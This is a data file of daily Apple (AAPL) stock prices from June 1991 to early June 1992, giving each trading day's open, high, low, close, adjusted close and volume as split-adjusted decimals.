-1991-06-07,1.6517857313156128,1.6785714626312256,1.6294642686843872,1.6473214626312256,1.3620660305023193,38186400.0,AAPL -1991-06-10,1.6428571939468384,1.6830357313156128,1.6339285373687744,1.6428571939468384,1.3583751916885376,41860000.0,AAPL -1991-06-11,1.6071428060531616,1.625,1.5803571939468384,1.59375,1.3177709579467773,47140800.0,AAPL -1991-06-12,1.5714285373687744,1.5982142686843872,1.4732142686843872,1.5133928060531616,1.2513291835784912,108908800.0,AAPL -1991-06-13,1.5178571939468384,1.5357142686843872,1.4910714626312256,1.5044642686843872,1.2439464330673218,52841600.0,AAPL -1991-06-14,1.5267857313156128,1.5267857313156128,1.4553571939468384,1.46875,1.2144163846969604,56322000.0,AAPL -1991-06-17,1.4642857313156128,1.5089285373687744,1.4642857313156128,1.5,1.24025559425354,41650000.0,AAPL -1991-06-18,1.5089285373687744,1.5446428060531616,1.4821428060531616,1.5044642686843872,1.2439464330673218,61171600.0,AAPL -1991-06-19,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.2328732013702393,44735600.0,AAPL -1991-06-20,1.4732142686843872,1.5,1.4553571939468384,1.5,1.24025559425354,36010800.0,AAPL -1991-06-21,1.5,1.5178571939468384,1.4910714626312256,1.5,1.24025559425354,51503200.0,AAPL -1991-06-24,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.2328732013702393,51996000.0,AAPL -1991-06-25,1.5,1.5357142686843872,1.4910714626312256,1.5133928060531616,1.2513291835784912,56980000.0,AAPL -1991-06-26,1.5267857313156128,1.5535714626312256,1.5089285373687744,1.5357142686843872,1.269785761833191,62610800.0,AAPL -1991-06-27,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.5178571939468384,1.2550204992294312,37800000.0,AAPL -1991-06-28,1.5089285373687744,1.5178571939468384,1.4375,1.4821428060531616,1.2254900932312012,56660800.0,AAPL -1991-07-01,1.5089285373687744,1.5357142686843872,1.4910714626312256,1.5178571939468384,1.2550204992294312,48706000.0,AAPL -1991-07-02,1.5089285373687744,1.5267857313156128,1.4910714626312256,1.5089285373687744,1.2476379871368408,30035600.0,AAPL -1991-07-03,1.5089285373687744,1.5535714626312256,1.4910714626312256,1.5401785373687744,1.273476481437683,77593600.0,AAPL -1991-07-05,1.5357142686843872,1.6428571939468384,1.5267857313156128,1.6294642686843872,1.3473010063171387,82888400.0,AAPL -1991-07-08,1.6160714626312256,1.6875,1.6071428060531616,1.6696428060531616,1.3805222511291504,76770400.0,AAPL -1991-07-09,1.6875,1.7232142686843872,1.6607142686843872,1.6741071939468384,1.3842140436172485,56610400.0,AAPL -1991-07-10,1.6964285373687744,1.7232142686843872,1.6696428060531616,1.6875,1.3952873945236206,39144000.0,AAPL -1991-07-11,1.6785714626312256,1.6875,1.6428571939468384,1.6696428060531616,1.3805222511291504,36478400.0,AAPL -1991-07-12,1.6875,1.6875,1.6517857313156128,1.6696428060531616,1.3805222511291504,33188400.0,AAPL -1991-07-15,1.6696428060531616,1.6696428060531616,1.625,1.625,1.3436100482940674,34496000.0,AAPL -1991-07-16,1.625,1.6339285373687744,1.5535714626312256,1.5625,1.2919328212738037,55748000.0,AAPL -1991-07-17,1.5535714626312256,1.5892857313156128,1.5089285373687744,1.5178571939468384,1.2550204992294312,52234000.0,AAPL -1991-07-18,1.5714285373687744,1.6116071939468384,1.5357142686843872,1.6026785373687744,1.3251538276672363,99579200.0,AAPL -1991-07-19,1.6160714626312256,1.6517857313156128,1.6071428060531616,1.6428571939468384,1.3583751916885376,32104800.0,AAPL -1991-07-22,1.6339285373687744,1.6517857313156128,1.625,1.6428571939468384,1.3583751916885376,27168400.0,AAPL -1991-07-23,1.6517857313156128,1.6607142686843872,1.5892857313156128,1.6071428060531616,1.3288451433181763,33264000.0,AAPL -1991-07-24,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6071428060531616,1.3288451433181763,32863600.0,AAPL -1991-07-25,1.6160714626312256,1.6339285373687744,1.6071428060531616,1.6160714626312256,1.3362274169921875,16450000.0,AAPL -1991-07-26,1.6339285373687744,1.6339285373687744,1.5982142686843872,1.6026785373687744,1.3251538276672363,18558400.0,AAPL -1991-07-29,1.6160714626312256,1.625,1.5892857313156128,1.625,1.3436100482940674,13325200.0,AAPL -1991-07-30,1.625,1.6696428060531616,1.625,1.6607142686843872,1.3731399774551392,22965600.0,AAPL -1991-07-31,1.6607142686843872,1.6741071939468384,1.6071428060531616,1.6517857313156128,1.3657575845718384,25701200.0,AAPL -1991-08-01,1.6428571939468384,1.7589285373687744,1.6339285373687744,1.7544642686843872,1.4506558179855347,112106400.0,AAPL -1991-08-02,1.7767857313156128,1.7946428060531616,1.75,1.7857142686843872,1.476494550704956,68252800.0,AAPL -1991-08-05,1.7767857313156128,1.7767857313156128,1.7232142686843872,1.7321428060531616,1.4321995973587036,25191600.0,AAPL -1991-08-06,1.7410714626312256,1.7946428060531616,1.7053571939468384,1.7678571939468384,1.4617295265197754,55106800.0,AAPL -1991-08-07,1.7678571939468384,1.8214285373687744,1.7633928060531616,1.7991071939468384,1.4875680208206177,52903200.0,AAPL -1991-08-08,1.8125,1.8482142686843872,1.7857142686843872,1.8035714626312256,1.4912594556808472,47362000.0,AAPL -1991-08-09,1.8035714626312256,1.8214285373687744,1.7767857313156128,1.8125,1.4986423254013062,38600800.0,AAPL -1991-08-12,1.8125,1.8660714626312256,1.8035714626312256,1.8482142686843872,1.5281718969345093,35632800.0,AAPL -1991-08-13,1.8571428060531616,1.9285714626312256,1.8571428060531616,1.9107142686843872,1.5798490047454834,71646400.0,AAPL -1991-08-14,1.9553571939468384,1.9642857313156128,1.9241071939468384,1.9598214626312256,1.6204525232315063,50178800.0,AAPL -1991-08-15,1.9642857313156128,1.9642857313156128,1.8928571939468384,1.9017857313156128,1.5724669694900513,36386000.0,AAPL -1991-08-16,1.8839285373687744,1.9375,1.8660714626312256,1.9017857313156128,1.5724669694900513,39701200.0,AAPL -1991-08-19,1.7678571939468384,1.84375,1.7321428060531616,1.8035714626312256,1.4946309328079224,80620400.0,AAPL -1991-08-20,1.8392857313156128,1.8482142686843872,1.8035714626312256,1.8214285373687744,1.5094293355941772,49856800.0,AAPL -1991-08-21,1.875,1.9330357313156128,1.8571428060531616,1.9196428060531616,1.5908201932907104,55843200.0,AAPL -1991-08-22,1.9285714626312256,1.9553571939468384,1.9196428060531616,1.9375,1.6056188344955444,41412000.0,AAPL -1991-08-23,1.9285714626312256,1.9821428060531616,1.8839285373687744,1.8928571939468384,1.5686228275299072,60104800.0,AAPL -1991-08-26,1.8928571939468384,1.9107142686843872,1.875,1.8928571939468384,1.5686228275299072,25398800.0,AAPL -1991-08-27,1.8928571939468384,1.9285714626312256,1.8839285373687744,1.9285714626312256,1.598219394683838,25088000.0,AAPL -1991-08-28,1.9285714626312256,1.9375,1.8973214626312256,1.9017857313156128,1.5760220289230347,26896800.0,AAPL -1991-08-29,1.9017857313156128,1.9241071939468384,1.875,1.8928571939468384,1.5686228275299072,28338800.0,AAPL -1991-08-30,1.8928571939468384,1.9017857313156128,1.8660714626312256,1.8928571939468384,1.5686228275299072,16534000.0,AAPL -1991-09-03,1.8839285373687744,1.9017857313156128,1.8571428060531616,1.875,1.5538241863250732,17094000.0,AAPL -1991-09-04,1.8839285373687744,1.8839285373687744,1.8348214626312256,1.8392857313156128,1.524227499961853,29946000.0,AAPL -1991-09-05,1.8392857313156128,1.8482142686843872,1.8125,1.8214285373687744,1.5094293355941772,19471200.0,AAPL -1991-09-06,1.8214285373687744,1.8482142686843872,1.8035714626312256,1.8392857313156128,1.524227499961853,19818400.0,AAPL -1991-09-09,1.8482142686843872,1.9107142686843872,1.8392857313156128,1.9017857313156128,1.5760220289230347,31620400.0,AAPL -1991-09-10,1.8839285373687744,1.90625,1.7767857313156128,1.7901785373687744,1.4835320711135864,45710000.0,AAPL -1991-09-11,1.8125,1.8214285373687744,1.7678571939468384,1.8035714626312256,1.4946309328079224,44500400.0,AAPL -1991-09-12,1.8303571939468384,1.8303571939468384,1.7767857313156128,1.8080357313156128,1.4983303546905518,29803200.0,AAPL -1991-09-13,1.7857142686843872,1.7946428060531616,1.7321428060531616,1.7366071939468384,1.4391374588012695,41683600.0,AAPL -1991-09-16,1.7589285373687744,1.7589285373687744,1.6607142686843872,1.6875,1.398442029953003,51444400.0,AAPL -1991-09-17,1.6785714626312256,1.75,1.6696428060531616,1.75,1.450236201286316,33852000.0,AAPL -1991-09-18,1.7410714626312256,1.8035714626312256,1.7321428060531616,1.7901785373687744,1.4835320711135864,30338000.0,AAPL -1991-09-19,1.7946428060531616,1.8035714626312256,1.7678571939468384,1.7767857313156128,1.4724335670471191,44584400.0,AAPL -1991-09-20,1.7767857313156128,1.8214285373687744,1.7678571939468384,1.8080357313156128,1.4983303546905518,47037200.0,AAPL -1991-09-23,1.7857142686843872,1.8125,1.7589285373687744,1.7678571939468384,1.4650342464447021,21915600.0,AAPL -1991-09-24,1.7678571939468384,1.7991071939468384,1.7232142686843872,1.7946428060531616,1.4872320890426636,26524400.0,AAPL -1991-09-25,1.7946428060531616,1.8035714626312256,1.7589285373687744,1.8035714626312256,1.4946309328079224,13616400.0,AAPL -1991-09-26,1.7946428060531616,1.7946428060531616,1.75,1.7857142686843872,1.4798331260681152,17805200.0,AAPL -1991-09-27,1.7857142686843872,1.8125,1.7410714626312256,1.75,1.450236201286316,15702400.0,AAPL -1991-09-30,1.7589285373687744,1.7767857313156128,1.75,1.7678571939468384,1.4650342464447021,15800400.0,AAPL -1991-10-01,1.7589285373687744,1.8303571939468384,1.75,1.8125,1.502030611038208,32844000.0,AAPL -1991-10-02,1.8482142686843872,1.8482142686843872,1.7678571939468384,1.7767857313156128,1.4724335670471191,4496800.0,AAPL -1991-10-03,1.7857142686843872,1.7857142686843872,1.6964285373687744,1.7053571939468384,1.4132399559020996,45250800.0,AAPL -1991-10-04,1.7142857313156128,1.7410714626312256,1.6964285373687744,1.7232142686843872,1.4280389547348022,19843600.0,AAPL -1991-10-07,1.7142857313156128,1.7410714626312256,1.6964285373687744,1.71875,1.424338936805725,16175600.0,AAPL -1991-10-08,1.71875,1.7321428060531616,1.6607142686843872,1.7232142686843872,1.4280389547348022,43064000.0,AAPL -1991-10-09,1.7232142686843872,1.7410714626312256,1.7053571939468384,1.7142857313156128,1.420639157295227,33185600.0,AAPL -1991-10-10,1.7410714626312256,1.75,1.6696428060531616,1.7053571939468384,1.4132399559020996,39303600.0,AAPL -1991-10-11,1.71875,1.7455357313156128,1.6607142686843872,1.7321428060531616,1.4354376792907715,30013200.0,AAPL -1991-10-14,1.75,1.7946428060531616,1.7410714626312256,1.78125,1.4761334657669067,27969200.0,AAPL -1991-10-15,1.8035714626312256,1.875,1.7857142686843872,1.875,1.5538241863250732,72052400.0,AAPL -1991-10-16,1.875,1.9285714626312256,1.8660714626312256,1.9107142686843872,1.5834208726882935,50218000.0,AAPL -1991-10-17,1.8928571939468384,1.9017857313156128,1.8392857313156128,1.8705357313156128,1.5501251220703125,37903600.0,AAPL -1991-10-18,1.96875,1.9821428060531616,1.9464285373687744,1.9642857313156128,1.6278164386749268,111739600.0,AAPL -1991-10-21,1.9732142686843872,1.9955357313156128,1.9375,1.9553571939468384,1.6204169988632202,29173200.0,AAPL -1991-10-22,1.9821428060531616,2.0089285373687744,1.9464285373687744,1.9464285373687744,1.6130177974700928,52052000.0,AAPL -1991-10-23,1.9642857313156128,1.9732142686843872,1.8839285373687744,1.8973214626312256,1.5723226070404053,42207200.0,AAPL -1991-10-24,1.8928571939468384,1.9017857313156128,1.8392857313156128,1.8616071939468384,1.5427260398864746,44475200.0,AAPL -1991-10-25,1.8482142686843872,1.8660714626312256,1.8125,1.8303571939468384,1.5168287754058838,26742800.0,AAPL -1991-10-28,1.8392857313156128,1.8482142686843872,1.8125,1.8392857313156128,1.524227499961853,19465600.0,AAPL -1991-10-29,1.8392857313156128,1.8571428060531616,1.8125,1.8482142686843872,1.5316269397735596,25309200.0,AAPL -1991-10-30,1.8571428060531616,1.8839285373687744,1.7678571939468384,1.7767857313156128,1.4724335670471191,37060800.0,AAPL -1991-10-31,1.8125,1.8482142686843872,1.7857142686843872,1.8392857313156128,1.524227499961853,57951600.0,AAPL -1991-11-01,1.8303571939468384,1.8571428060531616,1.8035714626312256,1.8214285373687744,1.5094293355941772,50316000.0,AAPL -1991-11-04,1.8125,1.8125,1.7321428060531616,1.7767857313156128,1.4724335670471191,48823600.0,AAPL -1991-11-05,1.7767857313156128,1.8035714626312256,1.7410714626312256,1.7410714626312256,1.4428369998931885,53900000.0,AAPL -1991-11-06,1.75,1.7589285373687744,1.6964285373687744,1.7142857313156128,1.420639157295227,59197600.0,AAPL -1991-11-07,1.7321428060531616,1.8035714626312256,1.7232142686843872,1.7767857313156128,1.4724335670471191,74183200.0,AAPL -1991-11-08,1.8303571939468384,1.9196428060531616,1.8214285373687744,1.9017857313156128,1.5760220289230347,93956800.0,AAPL -1991-11-11,1.9107142686843872,1.9464285373687744,1.9017857313156128,1.9196428060531616,1.5908201932907104,41235600.0,AAPL -1991-11-12,1.9375,1.9553571939468384,1.9196428060531616,1.9464285373687744,1.6130177974700928,41672400.0,AAPL -1991-11-13,1.9285714626312256,1.9464285373687744,1.9107142686843872,1.9330357313156128,1.6019188165664673,46480000.0,AAPL -1991-11-14,1.9375,1.9732142686843872,1.9285714626312256,1.9553571939468384,1.6204169988632202,47000800.0,AAPL -1991-11-15,1.9464285373687744,1.9553571939468384,1.7767857313156128,1.7857142686843872,1.4798331260681152,64237600.0,AAPL -1991-11-18,1.7857142686843872,1.875,1.7857142686843872,1.8616071939468384,1.5464413166046143,59684800.0,AAPL -1991-11-19,1.8482142686843872,1.8482142686843872,1.7767857313156128,1.8303571939468384,1.520481824874878,71372000.0,AAPL -1991-11-20,1.8303571939468384,1.8571428060531616,1.7946428060531616,1.8035714626312256,1.498230218887329,42025200.0,AAPL -1991-11-21,1.8035714626312256,1.8482142686843872,1.8035714626312256,1.8214285373687744,1.5130645036697388,26703600.0,AAPL -1991-11-22,1.8214285373687744,1.8482142686843872,1.7946428060531616,1.8303571939468384,1.520481824874878,24460800.0,AAPL -1991-11-25,1.8214285373687744,1.8660714626312256,1.8214285373687744,1.8303571939468384,1.520481824874878,19608400.0,AAPL -1991-11-26,1.8392857313156128,1.8571428060531616,1.7857142686843872,1.8392857313156128,1.5278984308242798,34818000.0,AAPL -1991-11-27,1.8303571939468384,1.8392857313156128,1.8035714626312256,1.8214285373687744,1.5130645036697388,15808800.0,AAPL -1991-11-29,1.8035714626312256,1.8392857313156128,1.8035714626312256,1.8125,1.505647897720337,8523200.0,AAPL -1991-12-02,1.8125,1.8571428060531616,1.7857142686843872,1.8482142686843872,1.5353152751922607,29724800.0,AAPL -1991-12-03,1.8571428060531616,1.8571428060531616,1.7946428060531616,1.8035714626312256,1.498230218887329,25715200.0,AAPL -1991-12-04,1.8125,1.8125,1.7857142686843872,1.8035714626312256,1.498230218887329,20137600.0,AAPL -1991-12-05,1.8035714626312256,1.8214285373687744,1.7589285373687744,1.7857142686843872,1.4833967685699463,24799600.0,AAPL -1991-12-06,1.7678571939468384,1.7767857313156128,1.7321428060531616,1.7410714626312256,1.4463117122650146,49246400.0,AAPL -1991-12-09,1.75,1.7857142686843872,1.7410714626312256,1.7544642686843872,1.4574371576309204,24458000.0,AAPL -1991-12-10,1.75,1.7678571939468384,1.7321428060531616,1.7544642686843872,1.4574371576309204,30654400.0,AAPL -1991-12-11,1.7589285373687744,1.7767857313156128,1.7321428060531616,1.75,1.4537287950515747,21140000.0,AAPL -1991-12-12,1.7633928060531616,1.7767857313156128,1.75,1.7633928060531616,1.4648540019989014,22937600.0,AAPL -1991-12-13,1.7767857313156128,1.8125,1.7767857313156128,1.7991071939468384,1.4945217370986938,23780400.0,AAPL -1991-12-16,1.7991071939468384,1.8125,1.7857142686843872,1.8035714626312256,1.498230218887329,19297600.0,AAPL -1991-12-17,1.8035714626312256,1.8214285373687744,1.7946428060531616,1.8035714626312256,1.498230218887329,24460800.0,AAPL -1991-12-18,1.7946428060531616,1.8571428060531616,1.7857142686843872,1.8482142686843872,1.5353152751922607,46650800.0,AAPL -1991-12-19,1.8303571939468384,1.8482142686843872,1.8125,1.8125,1.505647897720337,28831600.0,AAPL -1991-12-20,1.8303571939468384,1.8392857313156128,1.7946428060531616,1.7946428060531616,1.4908134937286377,32046000.0,AAPL -1991-12-23,1.8035714626312256,1.8482142686843872,1.7857142686843872,1.8392857313156128,1.5278984308242798,25790800.0,AAPL -1991-12-24,1.8571428060531616,1.9196428060531616,1.8482142686843872,1.8660714626312256,1.5501493215560913,47140800.0,AAPL -1991-12-26,1.8839285373687744,1.9642857313156128,1.8660714626312256,1.9598214626312256,1.6280274391174316,33625200.0,AAPL -1991-12-27,1.9553571939468384,1.9910714626312256,1.9464285373687744,1.9642857313156128,1.631736397743225,41935600.0,AAPL -1991-12-30,1.9642857313156128,2.044642925262451,1.9642857313156128,2.0267856121063232,1.6836551427841187,45911600.0,AAPL -1991-12-31,2.049107074737549,2.0714285373687744,2.0,2.013392925262451,1.672529697418213,33507600.0,AAPL -1992-01-02,1.9910714626312256,2.1339285373687744,1.9821428060531616,2.125,1.7652422189712524,58408000.0,AAPL -1992-01-03,2.142857074737549,2.1517856121063232,2.080357074737549,2.107142925262451,1.7504079341888428,47563600.0,AAPL -1992-01-06,2.0982143878936768,2.107142925262451,2.0625,2.0714285373687744,1.7207399606704712,28560000.0,AAPL -1992-01-07,2.0535714626312256,2.125,2.0535714626312256,2.111607074737549,1.754116415977478,35366800.0,AAPL -1992-01-08,2.0892856121063232,2.1875,2.0892856121063232,2.1607143878936768,1.794910192489624,58186800.0,AAPL -1992-01-09,2.1607143878936768,2.2232143878936768,2.1517856121063232,2.2232143878936768,1.846828818321228,52127600.0,AAPL -1992-01-10,2.1964285373687744,2.232142925262451,2.1785714626312256,2.2232143878936768,1.846828818321228,49056000.0,AAPL -1992-01-13,2.2232143878936768,2.2410714626312256,2.1964285373687744,2.2142856121063232,1.8394116163253784,26964000.0,AAPL -1992-01-14,2.2232143878936768,2.3125,2.2232143878936768,2.3035714626312256,1.9135818481445312,68451600.0,AAPL -1992-01-15,2.3035714626312256,2.3214285373687744,2.25,2.267857074737549,1.8839130401611328,81435200.0,AAPL -1992-01-16,2.2767856121063232,2.294642925262451,2.232142925262451,2.2410714626312256,1.8616628646850586,73382400.0,AAPL -1992-01-17,2.419642925262451,2.4642856121063232,2.3125,2.3125,1.9209989309310913,212088800.0,AAPL -1992-01-20,2.3035714626312256,2.330357074737549,2.2857143878936768,2.2857143878936768,1.8987482786178589,52416000.0,AAPL -1992-01-21,2.294642925262451,2.294642925262451,2.1785714626312256,2.1830356121063232,1.8134524822235107,48521200.0,AAPL -1992-01-22,2.1964285373687744,2.2767856121063232,2.1875,2.267857074737549,1.8839130401611328,45920000.0,AAPL -1992-01-23,2.294642925262451,2.3125,2.25,2.3035714626312256,1.9135818481445312,34588400.0,AAPL -1992-01-24,2.3035714626312256,2.3482143878936768,2.2857143878936768,2.3080356121063232,1.9172900915145874,44402400.0,AAPL -1992-01-27,2.3125,2.330357074737549,2.294642925262451,2.3035714626312256,1.9135818481445312,20862800.0,AAPL -1992-01-28,2.3125,2.3348214626312256,2.25,2.330357074737549,1.9358322620391846,43430800.0,AAPL -1992-01-29,2.3125,2.3482143878936768,2.2589285373687744,2.2589285373687744,1.8764972686767578,36139600.0,AAPL -1992-01-30,2.267857074737549,2.2767856121063232,2.2410714626312256,2.2767856121063232,1.8913302421569824,21778400.0,AAPL -1992-01-31,2.2857143878936768,2.330357074737549,2.267857074737549,2.3125,1.9209989309310913,36139600.0,AAPL -1992-02-03,2.3125,2.3660714626312256,2.3035714626312256,2.3482143878936768,1.9506666660308838,39533200.0,AAPL -1992-02-04,2.3482143878936768,2.3660714626312256,2.3214285373687744,2.3482143878936768,1.9506666660308838,48232800.0,AAPL -1992-02-05,2.3660714626312256,2.3839285373687744,2.325892925262451,2.361607074737549,1.9617923498153687,40376000.0,AAPL -1992-02-06,2.3482143878936768,2.357142925262451,2.2857143878936768,2.2901785373687744,1.9024558067321777,23284800.0,AAPL -1992-02-07,2.294642925262451,2.3125,2.2410714626312256,2.2857143878936768,1.8987482786178589,36884400.0,AAPL -1992-02-10,2.2857143878936768,2.294642925262451,2.25,2.2544643878936768,1.8727883100509644,21610400.0,AAPL -1992-02-11,2.25,2.2767856121063232,2.2232143878936768,2.2455356121063232,1.8653706312179565,30503200.0,AAPL -1992-02-12,2.2767856121063232,2.3392856121063232,2.25,2.330357074737549,1.9358322620391846,34490400.0,AAPL -1992-02-13,2.330357074737549,2.330357074737549,2.2767856121063232,2.294642925262451,1.9061638116836548,19003600.0,AAPL -1992-02-14,2.2767856121063232,2.294642925262451,2.2589285373687744,2.2901785373687744,1.9060192108154297,18146800.0,AAPL -1992-02-18,2.294642925262451,2.3035714626312256,2.2410714626312256,2.2410714626312256,1.8651493787765503,17088400.0,AAPL -1992-02-19,2.2410714626312256,2.25,2.205357074737549,2.2142856121063232,1.842857003211975,23917600.0,AAPL -1992-02-20,2.232142925262451,2.3125,2.2232143878936768,2.3080356121063232,1.9208813905715942,32715200.0,AAPL -1992-02-21,2.3125,2.3392856121063232,2.3035714626312256,2.3214285373687744,1.9320279359817505,37895200.0,AAPL -1992-02-24,2.3660714626312256,2.375,2.3482143878936768,2.361607074737549,1.9654666185379028,42851200.0,AAPL -1992-02-25,2.3660714626312256,2.4464285373687744,2.330357074737549,2.4464285373687744,2.0360591411590576,56803600.0,AAPL -1992-02-26,2.4375,2.5,2.4375,2.4955356121063232,2.076930046081543,57271200.0,AAPL -1992-02-27,2.5,2.5,2.4285714626312256,2.4464285373687744,2.0360591411590576,30542400.0,AAPL -1992-02-28,2.4464285373687744,2.4642856121063232,2.392857074737549,2.4107143878936768,2.0063369274139404,22598800.0,AAPL -1992-03-02,2.419642925262451,2.4464285373687744,2.4017856121063232,2.4017856121063232,1.9989062547683716,22313200.0,AAPL -1992-03-03,2.419642925262451,2.4285714626312256,2.3660714626312256,2.3705356121063232,1.9728975296020508,24819200.0,AAPL -1992-03-04,2.3660714626312256,2.3839285373687744,2.3125,2.3214285373687744,1.9320279359817505,28842800.0,AAPL -1992-03-05,2.3035714626312256,2.3392856121063232,2.25,2.267857074737549,1.887441873550415,59180800.0,AAPL -1992-03-06,2.267857074737549,2.2857143878936768,2.25,2.2857143878936768,1.9023045301437378,33572000.0,AAPL -1992-03-09,2.2767856121063232,2.294642925262451,2.267857074737549,2.2767856121063232,1.894872784614563,27235600.0,AAPL -1992-03-10,2.2857143878936768,2.3125,2.2767856121063232,2.2767856121063232,1.894872784614563,30674000.0,AAPL -1992-03-11,2.2767856121063232,2.294642925262451,2.25,2.2589285373687744,1.880012035369873,32914000.0,AAPL -1992-03-12,2.2589285373687744,2.2767856121063232,2.1964285373687744,2.2410714626312256,1.8651493787765503,38225600.0,AAPL -1992-03-13,2.2589285373687744,2.2767856121063232,2.2142856121063232,2.2544643878936768,1.8762961626052856,19796000.0,AAPL -1992-03-16,2.2410714626312256,2.267857074737549,2.205357074737549,2.263392925262451,1.8837271928787231,14072800.0,AAPL -1992-03-17,2.267857074737549,2.2767856121063232,2.2410714626312256,2.2455356121063232,1.86886465549469,21274400.0,AAPL -1992-03-18,2.2589285373687744,2.2857143878936768,2.25,2.2767856121063232,1.894872784614563,20258000.0,AAPL -1992-03-19,2.2767856121063232,2.2767856121063232,2.2410714626312256,2.25,1.872580647468567,29629600.0,AAPL -1992-03-20,2.25,2.2589285373687744,2.25,2.2589285373687744,1.880012035369873,13540800.0,AAPL -1992-03-23,2.25,2.2767856121063232,2.25,2.25,1.872580647468567,12518800.0,AAPL -1992-03-24,2.267857074737549,2.3214285373687744,2.2589285373687744,2.3214285373687744,1.9320279359817505,52354400.0,AAPL -1992-03-25,2.3214285373687744,2.3214285373687744,2.294642925262451,2.3035714626312256,1.9171658754348755,30388400.0,AAPL -1992-03-26,2.3125,2.330357074737549,2.2767856121063232,2.2857143878936768,1.9023045301437378,30755200.0,AAPL -1992-03-27,2.28125,2.2857143878936768,2.1607143878936768,2.1785714626312256,1.8131332397460938,66133200.0,AAPL -1992-03-30,2.1875,2.1875,2.0625,2.075892925262451,1.7276785373687744,84758800.0,AAPL -1992-03-31,2.080357074737549,2.1339285373687744,2.0714285373687744,2.080357074737549,1.7313940525054932,53158000.0,AAPL -1992-04-01,2.044642925262451,2.1160714626312256,2.044642925262451,2.107142925262451,1.7536866664886475,39914000.0,AAPL -1992-04-02,2.107142925262451,2.125,2.0848214626312256,2.0982143878936768,1.74625563621521,33493600.0,AAPL -1992-04-03,2.0982143878936768,2.1160714626312256,2.0892856121063232,2.107142925262451,1.7536866664886475,29114400.0,AAPL -1992-04-06,2.107142925262451,2.1785714626312256,2.107142925262451,2.169642925262451,1.8057023286819458,25496800.0,AAPL -1992-04-07,2.1785714626312256,2.1875,2.044642925262451,2.044642925262451,1.7016704082489014,57554000.0,AAPL -1992-04-08,2.0357143878936768,2.0357143878936768,1.9553571939468384,1.9955357313156128,1.6608004570007324,91756000.0,AAPL -1992-04-09,2.0,2.080357074737549,1.9732142686843872,2.044642925262451,1.7016704082489014,48034000.0,AAPL -1992-04-10,2.044642925262451,2.0535714626312256,1.9642857313156128,1.9821428060531616,1.649654507637024,68516000.0,AAPL -1992-04-13,1.9821428060531616,2.0267856121063232,1.9732142686843872,2.017857074737549,1.679377794265747,30707600.0,AAPL -1992-04-14,2.0625,2.1160714626312256,2.044642925262451,2.0982143878936768,1.74625563621521,36100400.0,AAPL -1992-04-15,2.0714285373687744,2.174107074737549,2.0535714626312256,2.1607143878936768,1.7982724905014038,54339600.0,AAPL -1992-04-16,2.1517856121063232,2.169642925262451,2.0892856121063232,2.107142925262451,1.7536866664886475,64671600.0,AAPL -1992-04-20,2.107142925262451,2.107142925262451,2.0,2.0267856121063232,1.686808705329895,51511600.0,AAPL -1992-04-21,2.0357143878936768,2.044642925262451,2.0,2.0089285373687744,1.6719471216201782,45091200.0,AAPL -1992-04-22,2.0089285373687744,2.0714285373687744,2.0089285373687744,2.0580356121063232,1.7128173112869263,42882000.0,AAPL -1992-04-23,2.0535714626312256,2.080357074737549,2.0,2.0357143878936768,1.694239616394043,45704400.0,AAPL -1992-04-24,2.0357143878936768,2.080357074737549,2.0,2.017857074737549,1.679377794265747,24570000.0,AAPL -1992-04-27,2.0,2.0089285373687744,1.9642857313156128,1.9910714626312256,1.6570849418640137,35067200.0,AAPL -1992-04-28,1.9732142686843872,1.9910714626312256,1.8928571939468384,1.9375,1.6125001907348633,43531600.0,AAPL -1992-04-29,1.9375,2.0357143878936768,1.9375,2.0357143878936768,1.694239616394043,49725200.0,AAPL -1992-04-30,2.044642925262451,2.1517856121063232,2.017857074737549,2.1473214626312256,1.7871253490447998,65066400.0,AAPL -1992-05-01,2.142857074737549,2.169642925262451,2.080357074737549,2.1160714626312256,1.7611169815063477,33594400.0,AAPL -1992-05-04,2.125,2.1875,2.1160714626312256,2.1607143878936768,1.7982724905014038,30808400.0,AAPL -1992-05-05,2.1607143878936768,2.1651785373687744,2.125,2.1607143878936768,1.7982724905014038,45021200.0,AAPL -1992-05-06,2.169642925262451,2.21875,2.1607143878936768,2.205357074737549,1.8354259729385376,44497600.0,AAPL -1992-05-07,2.1964285373687744,2.2232143878936768,2.1607143878936768,2.169642925262451,1.8057023286819458,43089200.0,AAPL -1992-05-08,2.1964285373687744,2.2455356121063232,2.1785714626312256,2.2142856121063232,1.842857003211975,49674800.0,AAPL -1992-05-11,2.2142856121063232,2.2410714626312256,2.1964285373687744,2.2232143878936768,1.8502880334854126,22724800.0,AAPL -1992-05-12,2.2232143878936768,2.25,2.205357074737549,2.2232143878936768,1.8502880334854126,19261200.0,AAPL -1992-05-13,2.232142925262451,2.2589285373687744,2.2232143878936768,2.2410714626312256,1.8651493787765503,24368400.0,AAPL -1992-05-14,2.2410714626312256,2.25,2.1517856121063232,2.1919643878936768,1.824280023574829,39230800.0,AAPL -1992-05-15,2.1785714626312256,2.1875,2.1607143878936768,2.1651785373687744,1.801986813545227,30326800.0,AAPL -1992-05-18,2.1964285373687744,2.1964285373687744,2.142857074737549,2.15625,1.794556975364685,32272800.0,AAPL -1992-05-19,2.169642925262451,2.169642925262451,2.107142925262451,2.1205356121063232,1.7648324966430664,32919600.0,AAPL -1992-05-20,2.1339285373687744,2.1517856121063232,2.1160714626312256,2.142857074737549,1.7834103107452393,43302000.0,AAPL -1992-05-21,2.1517856121063232,2.1517856121063232,2.0982143878936768,2.111607074737549,1.757401943206787,34423200.0,AAPL -1992-05-22,2.107142925262451,2.1339285373687744,2.107142925262451,2.125,1.768548607826233,11617200.0,AAPL -1992-05-26,2.125,2.1339285373687744,2.0982143878936768,2.1160714626312256,1.7611169815063477,23903600.0,AAPL -1992-05-27,2.1160714626312256,2.1517856121063232,2.107142925262451,2.1517856121063232,1.790840983390808,38522400.0,AAPL -1992-05-28,2.142857074737549,2.1517856121063232,2.107142925262451,2.125,1.768548607826233,31810800.0,AAPL -1992-05-29,2.1339285373687744,2.1651785373687744,2.125,2.1339285373687744,1.7759791612625122,44562000.0,AAPL -1992-06-01,2.044642925262451,2.125,2.0,2.0535714626312256,1.712544322013855,62011600.0,AAPL -1992-06-02,2.0535714626312256,2.0535714626312256,2.0089285373687744,2.017857074737549,1.6827607154846191,38920000.0,AAPL -1992-06-03,2.017857074737549,2.017857074737549,1.9285714626312256,1.9330357313156128,1.6120253801345825,75143600.0,AAPL -1992-06-04,1.9375,1.9553571939468384,1.9107142686843872,1.9464285373687744,1.6231939792633057,45038000.0,AAPL 